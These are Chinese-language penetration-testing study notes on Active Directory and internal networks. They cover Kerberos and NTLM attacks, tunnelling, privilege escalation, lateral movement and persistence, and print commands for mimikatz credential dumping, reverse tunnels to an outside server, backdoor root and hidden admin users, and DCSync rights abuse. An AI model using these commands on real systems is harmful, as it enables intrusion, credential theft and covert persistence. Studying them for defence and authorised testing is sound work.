前言
鉴于我在二进制方面还停留在汇编原理阶段,所以主要还是研究内网体系和工具利用上面,但是我感觉就算不知道具体细节,现阶段也够用
基本概念
域控制器(DC)
域控制器是域环境中核心的服务器计算机,用于在域中响应安全身份验证请求,负责允许或拒绝发出请求
的主机访问域内资源,以及对用户进行身份验证,存储用户账户信息并执行域的安全策略等。
域控开放的端口
- 53(域名系统,DNS):域控制器使用DNS端口来提供域名解析服务,将域名映射到IP地址,以便客户端能够找到域控制器。
- 88(Kerberos):Kerberos是Windows中用于身份验证的协议。域控制器使用Kerberos端口来进行用户身份验证和票据颁发(黄金票据和白银票据)。
- 135(远程过程调用,RPC):域控制器使用RPC端口来提供远程管理服务,例如用户和组策略的管理。
- 389(轻量级目录访问协议,LDAP):LDAP是用于访问和维护目录服务的协议。域控制器使用LDAP端口提供对Active Directory的访问和搜索功能。
- 445(服务器消息块,SMB):SMB协议用于文件和打印机共享以及其他网络通信。域控制器使用SMB端口来提供文件共享和系统管理功能。
辅域:通常指的是在网络环境中作为主域控制器备份的域控制器。这些控制器在功能上辅助主域控制器,确保在主域控制器故障时能够接管关键服务
活动目录(AD)
活动目录是一种目录服务数据库,区别于常见的关系型数据库。目录数据库实现是目录服务,是一个帮助
用户快速,准确地从目录中找到所需要信息的服务。目录数据库将所有数据库组织成一个有层次的树状结
构,其中的每一个节点是一个对象,用户可以根据这个对象名称去查找这个对象的有关信息。
如果那台机器装了AD他就变成DC
组
从组的使用范围来分,可以分为三种:全局组、本地域组和通用组。
域本地组 域本地组主要用于本域内资源的访问权限,如Administrators:管理员组,该组的成员对服务器具有完全的控制权,并可以根据需要向用户分配用户权限和访问控制权限。Account Operators:账号操作员组,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器
通用组 可以在该域林的任何域中指派权限,适合在域森林内的跨域访问中使用。
全局组 全局组只能包含本域内的用户账户,全局组的使用范围是本域以及受信任关系的其他域。如Domain Admins,域管理员组,Domain Users,域用户
当服务器加入域时,域管理员默认对域内所有机器都具有管理权限,这是因为域的Domain Admins组默认会被添加到域内所有机器的本地Administrators组内。因为此组可以完全控制服务器。administrator帐户是Administrators组的一个默认本地成员,权限默认仅限于本地计算机
域用户账户是在域内全局组 Domain Users组中,本地用户账户在本地 User组中。当计算机加入域时,会把 Domain Users组添加到本地的 User 组中。因此域用户默认可以在域中的任何一台计算机上登录
机器用户(也被称为主机账号)属于域的Domain Computers组。机器用户是一种特殊的域用户,用户名为机器名加
$
,如:WIN7$
、WINXP$
,win的SYSTEM权限就对应于主机的机器用户(system和administrator权限感觉都差不多,但在一些与系统内核交互的细节上,可以看出system权限要更大一些,如HKEY_LOCAL_MACHINE\SAM)
win登录认证流程
winlogon.exe -> 接收用户输入 -> lsass.exe -> 认证
lsass.exe 负责用户登录时的身份验证,包括输入的用户名和密码验证。它处理的是本地和域账户的验证。
信息收集
一般实战都是直接上传fscan
1 | ./fscan_amd64 -h 172.22.1.0/24 |
本机基础信息收集
1 | systeminfo #查看操作系统信息 |
抓取用户hash
SAM文件是Windows用户的账户数据库,位于%SystemRoot%\System32\Config
目录中,所有本地用户的用户名, 密码的哈希值等信息都被存放在这个数据库文件中.
1 | %SystemRoot%\system32\config\SYSTEM #system系统注册表文件,存储了系统的配置信息 |
普通域用户或普通工作组:SAM文件(加密后的用户密码)和 SYSTEM文件(秘钥)组合后可以提取出用户的用户名和Hash
域控:ntds.dit 存放了所有域用户的账号/密码(Hash)
mimikatz读取本地用户的密码哈希
运行中的系统,需要抓取 lsass.exe 的内存,进程里边存放的是活动用户(当前登录的用户)的Hash;在域中,只要域管理员通过RDP登录过,就会将hash保存到lsass中。
在 windows⾥,调试权限可以⽤来调试进程,甚⾄是调试内核。(默认情况下,本地管理员组拥有这个权限)
对于 mimikatz 的工作原理必须要读取内存,那么只有它拥有了调试lsass.exe的权限才能去打开进程
基本使用
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit #从lsass.exe进程的内存中读取当前已登录用户的凭据 |
WDigest 是一种在 Windows 操作系统中用于身份验证的协议。WDigest 协议存在安全漏洞,尤其是在一些默认配置下,它将密码以明文形式存储在内存中。这意味着如果攻击者能够获取到目标计算机的内存内容
在 Windows 8 和 Windows Server 2012 以及更高版本中,默认情况下,WDigest 会被禁用,降低了密码明文存储的风险
重新用WDigest存储明文:reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
离线破解
1 | #使用procdump来绕过杀软对mimikatz拦截 |
应用中获取信息
1 | #破解xshell |
使用everything在内网搭建服务
由于win查找配置文化非常困难,可以使用everything在内网搭建服务,然后代理连接
1 | #上传everything.exe和 Everything.ini |
域内基础信息收集
判断是否存在域环境
1 | ipconfig /all # 看主DNS后缀 |
需要有域用户的权限
1 | net user /domain #域用户信息 |
BloodHound
ACL 是 Access Control List(访问控制列表)的缩写。它是一种用于管理和控制访问权限的机制或数据结构。ACL 用于确定谁可以访问特定资源(例如文件、文件夹、网络资源等)以及他们可以执行的操作
一些不安全的acl
1 | GenericAll:完全控制对象,包括更改密码、注册SPN、添加AD对象到目标组里面 |
内网资源探测
发现内网存活主机
1 | ICMP探测 |
内网端口扫描
1 | 简单测试指定的端口号 |
Nmap进行端口扫描
1 | nmap -PR [目标] #当目标主机与我们处于同一个网段的时候,使用ARP协议扫描技术就是最佳的选择 |
nmap 扫描端口的结果
Open(开放):nmap 发送一个 SYN 包(TCP三次握手中的第一次),目标主机回应一个 SYN+ACK 包,表示端口开放
Closed(关闭):nmap 发送一个 SYN 包,目标主机回应一个 RST 包(重置连接),表示端口关闭
Filtered(过滤):nmap 发送的 SYN 包,没有收到任何响应,表示目标不可达
内网穿透与端口转发
端口转发是一种将来自一个IP地址和端口的网络流量重定向到另一个IP地址和端口的技术,而不进行任何修改或处理
隧道是一种封装技术,使得一种协议的数据包能够在另一种协议中传输
代理是一种网络服务,它代表客户端向服务器发送请求,并将服务器的响应返回给客户端。
网络层隧道
网络层主要负责数据包的传输和路由选择
IPv6 隧道:
允许 IPv6 流量在 IPv4 网络中传输,通过封装 IPv6 数据包。
ICMP 隧道
利用 ICMP 协议(如 ping 命令)传输数据,适用于绕过防火墙。
icmpsh:基于 ICMP 的 shell 工具
1 | sysctl -w net.ipv4.icmp_echo_ignore_all=1 #防止系统本身去响应icmp |
传输层隧道
传输层负责端到端的通信和流量控制
TCP 隧道:
在 TCP 连接上封装其他协议的数据,提供可靠的传输。
UDP 隧道:
类似于 TCP 隧道,但使用无连接的 UDP 协议,适合对延迟敏感的应用。
常规端口转发:
将一个端口的流量转发到另一个端口或主机,常用于远程访问服务。
应用层隧道
应用层提供用户直接交互的接口
SSH 隧道
利用 SSH 协议创建加密隧道,可以安全地转发 TCP 流量。ssh -L 8085:172.2.118.5:80 ctfshow@pwn.challenge.ctf.show -p 28259
ctfshow上的题,直接在本地运行即可,作用是通过ssh连接,把内网的172.2.118.5:80映射到本地127.0.0.1:8085
DNS 隧道
Port:53该端口为DNS服务端口,只要提供域名解析服务使用,该端口在渗透过程中可以寻找一下DNS域传送漏洞,在内网中可以使用DNS协议进行通信传输,隐蔽性更加好
1 | vim /etc/dns2tcpd.conf |
好用的应用层代理协议—-Socks代理工具
Socks是一个客户/服务器环境的代理协议。是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递,分为socks 4和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。
基于Socket套接字实现的端口转发工具—-lcx
lcx是一个基于Socket套接字实现的端口转发工具,有Windows和Linux两个版本。Windows版为lcx.exe,Linux版为portmap
1 | lcx.exe -slave <公网主机IP地址> 4444 127.0.0.1 3389 |
chisel
前面这几个一次只能转发一个或几个端口,这个可以和proxychains4配合实现,内网kail打内网环境
1 | ./chisel server -p 1234 --reverse #在vps上运行 |
proxychains4还能让kail科学上网这里不再赘述
Stowaway
1 | ./linux_x64_admin -l 1234 -s 123 |
frp
1 | frps.ini |
frp怎么隐藏流量
修改服务端和客户端的默认salt
修改frp的tls协议中固定的0x17特征
配置文件自删除
提权
linux
SUID提权
suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。
suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。
1 | find / -user root -perm -4000 -print 2>/dev/null |
Capabilities
Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。
1 | getcap -r / 2>/dev/null |
SUDO滥用提权
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具
1 | sudo -l #列出当前用户可以以超级用户(root)身份执行的命令列表 |
脏牛提权
https://github.com/FireFart/dirtycow
gcc -pthread dirty.c -o exp -lcrypt
./exp
su firefart
Docker 组提权
docker 组内用户执行命令的时候会自动在所有命令前添加 sudo
1 | docker run -v /:/hostOS -i -t chrisfosterelli/rootplease #启动一个新的 Docker 容器,并将容器外部的目录 / 挂载到容器内部 /hostOS(也就是宿主机的 /) |
win
烂土豆提权
只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、**MSSQL(SQL Server的简称)**等)有这个权限,大多数用户级的账户没有这个权限
1 | C:/Users/Public/SweetPotato.exe -a whoami |
系统服务权限配置错误
1 | powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks | Out-File -Encoding ASCII check.txt}" #PowerUp列出了可能存在问题的所有服务 |
可信任服务路径漏洞
Windows中文件路径解析的特性。例如,我们有一个文件路径为“C:\Program Files\Some Folder\Service.exe”。那么,对于该路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。如上面的目录为例,Windows会依次尝试确定和执行以下程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
只需要上传的程序重命名并放置在存在此漏洞且可写的目录下即可
1 | wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """ |
映像劫持
HKLM 只是 HKEY_LOCAL_MACHINE 的缩写,两者可以随意替换
IFEO(Image File Execution Options)是 Windows 注册表中的一个特殊项,它允许你为指定的可执行文件(EXE)配置自定义的启动行为。它通常用于调试、替换程序执行或者拦截程序启动。
当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理
1 | get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl * #显示指定注册表项的访问控制列表,查看是否有修改注册表的权限 |
其他cve
HiveNightmare(CVE-2021-36934)
由于Windows中多个系统文件的ACL过于宽松,使得任何标准用户都可以从系统卷影副本中读取包括SAM,SYSTEMSECURITY在内的多个系统文件
该漏洞复现需满足如下条件:1、已启动系统保护 2、系统上存在已创建的系统还原点 3、系统启用本地管理员用户
PrintSpooler提权
PrintDemon(CVE-2020-1048)
该CVE是由于WindowsPrintSpooler存在缺陷,导致用户可以在系统上任意写入文件,并通过其他方法完成提权。
PrintSpooler是Windows的打印后台处理服务,用于管理所有本地和打网络打印队列,默认为开启状态。
SMBghost (CVE-2020-0796)
SMBv3.1没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出
smb版本v3.1.1
端口445开放
防火墙关闭
远程桌面控制
利用密码登录RDP 远程桌面
1 | proxychains crackmapexec rdp 172.22.6.0/24 -u wenshao -p hellokitty -d xiaorang.lab |
利用哈希传递登录 RDP 远程桌面
抓取hash无法破解的情况下,如果使用hash远程登录RDP,需要开启Restricted Admin Mode, 在Windows8.1和Windows Server 2012R2上默认开启
1 | #客户端、服务器都需要开启Restricted Admin Mode |
RDP会话劫持
tscon 是 Windows 操作系统中的一个命令,用于连接到远程桌面会话或将当前会话连接到另一个会话。它通常用于管理远程桌面会话,特别是当你想要从本地会话切换到远程会话时。
在 SYSTEM 权限下直接执行 tscon 会话切换,不需要提供用户密码
即使远程连接的用户关闭了远程连接窗口,仍能在 SYSTEM 权限下通过 tscon 实现未授权连接
1 | quser/qwinsta #查看会话id |
权限维持
linux
添加root权限后门用户
1 | perl -e 'print crypt("M0rk", "AA"). "\n"' #密码M0rk |
ssh后门
1 | #本地生成rsa公钥私钥 |
vim后门
条件:安装了vim且安装了python扩展(绝大版本默认安装)
1 | cd /usr/lib/python2.7/site-packages #进入py脚本目录 |
恶意脚本dir.py的内容可以是任何功能的后门,如python版本的正向后门监听11端口:
1 | #from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html |
定时任务
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
1 | #每分钟执行一次 |
win
影子用户
1 | net user hacker$ 123456 /add |
脚本自动化https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1
PS C:>.\Windows-User-Clone_ps1.ps1
powershell -File Windows-User-Clone_ps1.ps1
开机自启动
修改注册表
如果只希望当前用户启动时运行该程序,可以将其添加到:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
如果希望所有用户在 Windows 启动时都能运行该程序,则可以将其添加到:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
值得注意的是,HKEY_CURRENT_USER的改动不需要管理员权限,而更改HKEY_LOCAL_MACHINE却是需要管理员权限
1 | REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\bmth\Desktop\backdoor.exe" |
启动项目录
启动文件夹(Startup Folder)是一个实际的文件夹,放入其中的程序(如 .exe 文件、.bat 文件、.vbs 文件等)将在 Windows 启动时自动运行
1 | # Windows Server 2003 的启动项路径: |
计划任务
1 | #(X64) - On System Start |
DLL劫持
动态链接库 (DLL) 是一种在 Windows 操作系统中使用的文件格式,允许多个程序共享功能和资源。可以看成一个函数或者一个模块
Windows默认的dll调用顺序:
- 程序所在⽬录。
- 加载 DLL 时所在的当前⽬录。
- 系统⽬录(C:\Windows\System32)
- 16位系统⽬录(C:\Windows\System)
- Windows⽬录(C:\Windows)
- PATH环境变量中列出的⽬录
在win7及win7以上系统增加了KnownDLLs保护,他们将一些容易被劫持的DLL写进了注册表里,那么凡是此项下的DLL文件只能从SYSTEM32目录下调用,路径为 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
使用流程:
- 使用工具ProcessMonitor,找到要劫持的进程
- 使用工具AheadLib(管理员权限打开),输入目标dll的路径,选择直接转发函数,导出对应的CPP文件
- 用vs打开,在入口函数处添加cs生成的payload,打包生成新的dll文件
- 将原dll文件改名为之前在软件里面的名字文件放回去
- 最后运行目标程序,就会成功上线cs
域内横向
IPC$ & at & schticks(不常用)
1 | PS C:\Users\DELL> net share |
实战中往往会建立IPC$
连接,因为通过IPC$
连接,不仅可以进行所有文件共享操作,还可以实现其他远程管理操作,如列出远程主机进程、在远程主机上创建计划任务或服务等。
使用前提:
远程主机开启了ipc连接,远程主机**139端口(NetBIOS协议)和445端口(SMB协议)**开放(依赖于系统配置和防火墙设置)
1 | IPC$ 连接 |
at & schtasks 使用
1 | net time \\192.168.52.138 #查看目标系统的时间 |
windows server2008以后的版本at命令已经被弃用了
1 | copy hack.bat \\192.168.52.138\c$ |
NTLM 身份验证协议协议
早期SMB协议明文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM。远程桌面(3389)和文件共享(445)都使用的是ntlm进行认证
目前 NTLM 几个常见的使用场景:
在域环境中用作 Kerberos 的备份,当Kerberos 失效时,就会使用 NTLM 进行认证。
使用本地账户登录时也会使用 NTLM 认证。
客户端尝试使用 ip 进行连接,而不是主机名时,也会使用 NTLM 进行认证。
- **Application message(s)**:表示客户端和服务器之间发送的应用协议消息,并发送用户名、域名、机器名等相关信息
- NTLM_NEGOTIATE:client会向server发起请求连接协商,这个消息指定了该会话期望的安全特性。
- NTLM_CHALLENGE:server就会在本地生成一个(16位或8位)随机字符(Challenge),并将Challenge传给client。
- NTLM_AUTHENTICATE:username的NTLM-hash对Challenge进行加密(加密过程中会利用到用户名、域名、机器名等相关信息),生成Response,并将Response发送给server
- **Application message(s)**:server在收到Response后,将其和相同的方式进行加密生成另一个Response,如果相同,则验证成功,如果不同就失败
NTLM在域登录的认证
NTLM Relay
根据上图,我们知道只要将截获的Net-NTLM Hash重放,就可以得到对应的TGT,从而实现对其他机器的控制
可以结合强制认证的方式获得Net-NTLM Hash实现横向移动(域控默认开启smb签名)
通过添加用户来验证 PeitiPotam 强制验证成功与否。python3 ntlmrelayx.py -t ldaps://dc01.hack.lab --add-computer JustTest01$ --remove-mic
利用工具触发认证
使用 PeitiPotam 利用工具进行强制触发认证python3 PetitPotam.py -d hack.lab -u spiderman -p 123.com 20.20.20.100 20.20.20.6
windows Kerberos身份认证协议
krbtgt 用户,该用户是在创建域时系统自动创建的一个账号,其作用是密钥发行中心的服务账号,其密码是系统随机生成的,无法正常登陆主机。
SPN是服务器上所运行服务的唯一标示,每个使用Kerberos的服务都需要一个SPN,这样客户端才可以辨认这个服务。
可以把kerberos认证流程简要的分为三个部分:
第一部分
client向AS(Authentication Service)证明自己的身份的过程,目标是获取TGT(Ticket Granting Ticket)票据
请求包中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTLM hash加密的时间戳)以及一些其他信息。
AS会返回给Client一个Logon Session Key(请求用户client的NTLM hash对Session-key as进行加密)和krbtgt用户 hash加密的TGT票据(TGT里面包含PAC,PAC包含Client的域sid、Client所在的组)
HASH传递(PTH)
hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码(前提是得有相应的权限)
1 | #运行mimikatz.exe |
PTH 的限制 UAC
域内用户枚举
在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN
1 | ./kerbrute_linux_386 userenum --dc 172.22.6.12 -d xiaorang.lab usersname.txt -t 10 |
密码喷洒
当用户名存在,密码正确或者错误的时候,返回包也不一样,因此可以进行用户名密码爆破。
1 | proxychains crackmapexec smb 172.22.4.45 -u Adrian -p rockyou.txt -d WIN19 |
AS-REP Roasting(不常用)
**关闭预身份验证后(默认是不关闭)**,在进行AS_REQ之后的时候,KDC不会进行任何验证就将TGT和用该用户Hash加密的Login Session Key返回,由于AS_REP的数据包中Login Session Key的是由用户Hash进行加密的,因此,可以对获取到的用户Hash加密的Login Session Key进行离线爆破,得到对应用户的明文密码
1 | ./kerbrute_darwin_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab ~/users.txt -o output.txt #枚举未设置预认证的账号 |
黄金票据
(1):域名称
(2):域的SID(安全标识符,whoami /user可获取当前用户的sid,去掉最后的-四位后即为域sid)
(3):域的krbtgt账户密码HASH
(4):伪造用户名,可以是任意的
获取krbtgt的hash值,该值的方式有两种:
(1)控制了域控然后查询 secretsdump.exe 域名/administrator:密码@IP
(2)通过dsync查询 milikatz->lsadump::dcsync /domian:域名 /user:krbtgt
第二部分
TGS(Ticket Granting Service)通过client的TGT判断其是否有服务的访问权限,目标是获取ST(SEerver Ticket)
返回一个用Login session key加密后的用于确保客户端服务器之间通讯安全的server-session -key,并且生成用Server_Hash加密的TGS票据(ST)
委托攻击
主机hostB上的服务B需要代表用户A去访问hostC上的服务C,这个过程就被称为委派
查询域委派关系
1 | proxychains findDelegation.py xiaorang.lab/Aldrich:'P@ssw0rd' -dc-ip 172.22.8.15 -target-domain xiaorang.lab |
非约束性委派(获取任意用户的TGT)
任何用户都可以委派主机hostB代替自己去访问任何服务
1 | #某个用户委托hostB去访问某个服务,那么这个用户会将 TGT发送到hostB并缓存到LSASS中,以方便以后使用,如果这个用户是域用户我们就可以获取他的TGT |
如果上面没有目标的tgt,怎么让指定用户访问委派我们哪,可以使用NTLM Relay
1 | #上传Rubeus.exe 监听 TGT |
约束委派
限制了访问的服务类型与资源主机,但是没有限制谁能对主机hostB进行委派
对于约束性委派,服务账号只能获取该用户的 ST 服务票据,从而只能模拟该用户访问特定的服务
如:假设我们拿到了配置了访问DC CIFS服务的约束性委派的域账号MSSQLSERVER$,现在我们尝试以Administrator的权限访问DC的CIFS服务。
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # 获取自身的hash |
基于资源的约束性委派(RBCD)
基于资源的约束委派允许资源配置受信任的帐户委派给他们。由资源本身为自己配置资源委派信任关系,资源本身决定可以信任谁。换个角度就是,资源和可以委派别人访问该资源的用户都被限制了
因为能够模拟其他用户的权限访问自己,所以资源的约束委派只能对自己进行攻击,也就是说提权操作或者权限维持
一般的情况是我们拿到一个域账户,其具备某台机器的属性修改的权限,那我们就可以获取这台主机的管理员权限
1 | #利用zhangxin域用户创建一个机器账户TEST2$(每个域用户默认可以创建10个) |
白银票据
白银票据制作条件
(1):域名称
(2):域的SID
3.目标服务FQDN
4.服务名
(5):域控服务器账户的NTLM Hash(获取方法是可能域内某主机的hash和域控服务器的hash相同)
(6):伪造任意的用户名
伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名,则银票将不起作用
Kerberoasting攻击
SPN(Service Principal Name)是Kerberos身份验证中用于标识特定服务实例(如HTTP、SMB、MySQL)的唯一名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联
SPN分为以下两种类型,一种为注册在活动目录的“机器账户computer”下,另一种为注册在活动目录的“域账号Users”下
1 | setspn -Q */* # 查看当前域内所有的SPN |
Kerberoasting简单来说就是暴破ST,因为ST是由服务的hash进行加密的,如果服务账号是域账号,就有可能破解域账号的密码;
1 | #获取ST票据 |
在Kerberos认证中,ST使用Service的NTML Hash。而域中所有主机都能通过查询SPN获取到服务对应的账户,所以我们可以对其进行爆破,这样就能获得其明文密码
第三部分
client拿着ST票据与服务端进行通信,检测后允许访问该SPN(ServicePrincipal Names,服务主体名称)
PAC伪造—-MS14-068
在第一部分,TGT里面包含PAC,而PAC中包含用户的sid,用户所在的组。
在第二部分,KDC会验证TGT中的PAC的签名,判断PAC是否被篡改,如果PAC完好,则重新构造新的PAC放在TGS票据中,
在第三部分,服务会拿着PAC去KDC那边询问用户有没有访问权限,KDC解密PAC。
在小于2012R2且没有打KB3011780的域控中存在该漏洞,KDC会根据客户端指定PAC中数字签名的加密算法,来校验PAC的合法性。这使得攻击者可通过伪造PAC,修改PAC中的SID,导致KDC判断攻击者为高权限用户,从而导致权限提升漏洞的产生
需要有普通域用户的权限以及密码/hash值,以及用户的suid
1 | systeminfo |find "3011780" #查看补丁 |
DCsync攻击获取域内用户hash
DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据
默认以下用户存在该权限
DC本地Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户 企业管理员
域控的机器帐户
默认只有域控的机器用户和域管理员能DCSYNC
1 | #msf中 |
writeDacl权限
具有 WriteDACL 权限, 也可以写 DCSync
1 | proxychains python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :4de6c4eeee1f315e1241c4a813e2b3b5 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2 #对Zhangtong用户写 DCSync |
其他cve
CVE-2020-1472 是继 MS17010 之后一个比较好用的内网提权漏洞,影响Windows Server 2008 R2 至 Windows Server 2019 的多个版本系统,只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞。该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为 windows ,该漏洞的稳定利用方式为重置目标域控的密码,然后利用空的控凭证进行 Dc sync 获取域管权限后修复域控密码,之所以不直接使用域控凭证远程执行命令,是因为城控账户是不可以登录的,但是域控具备 DCsync 权限, 可以获取域内任意用户的凭证。
CVE-2021-42278,机器账户的名字一般来说应该以$
结尾,但AD没有对域内机器账户名做验证。该漏洞就导致了第一部分AS会以签发一个机器名末尾不以$
结尾的TGT;因此当后续伪造的用户使用TGT向TGS请求服务票据时TGS是信任TGT内的信息的。
CVE-2021-42287,在第二部分,当请求服务 ST 的账户没有被 KDC 找到时,KDC 会自动在尾部添加 $
重新搜索
创建与DC机器账户名字(DC01$)相似的机器账户DC01,账户请求一个TGT后,然后更名账户为其他名字,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST